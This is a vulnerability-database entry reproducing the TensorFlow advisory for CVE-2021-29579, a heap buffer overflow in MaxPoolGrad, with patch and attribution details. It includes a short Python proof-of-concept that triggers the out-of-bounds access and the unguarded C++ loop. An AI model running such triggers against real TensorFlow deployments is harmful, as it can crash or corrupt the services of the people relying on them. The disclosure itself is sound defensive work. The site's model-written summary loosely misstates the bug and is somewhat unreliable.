Browse / AI Framework and Platform Flaws / CVE-2021-29579
Heap buffer overflow in `MaxPoolGrad`
- Class
- AI Framework and Platform Flaws (filed by a model that read the source)
- Technique
- Memory corruption
- Affected
- tensorflow-cpu, tensorflow (PyPI)
- CVSS
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- EPSS
- 0.2% chance of exploitation in 30 days
How it works, in short
An unchecked index into the gradient-related output tensor writes past the end of an input buffer, corrupting heap memory. (Our summary, written by a model. The source text is below.)
Details
Impact
The implementation of tf.raw_ops.MaxPoolGrad is vulnerable to a heap buffer overflow:
import tensorflow as tf
orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding, explicit_paddings=[])
The implementation fails to validate that indices used to access elements of input/output arrays are valid:
for (int index = out_start; index < out_end; ++index) {
int input_backprop_index = out_arg_max_flat(index);
FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);
input_backprop_flat(input_backprop_index) += out_backprop_flat(index);
}
Whereas accesses to input_backprop_flat are guarded by FastBoundsCheck, the indexing in out_backprop_flat can result in OOB access.
Patches
We have patched the issue in GitHub commit a74768f8e4efbda4def9f16ee7e13cf3922ac5f7.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-79fv-9865-4qcv
- https://nvd.nist.gov/vuln/detail/CVE-2021-29579
- https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-507.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-705.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-216.yaml
- https://github.com/tensorflow/tensorflow
Source: GitHub Advisory Database, used under CC BY 4.0.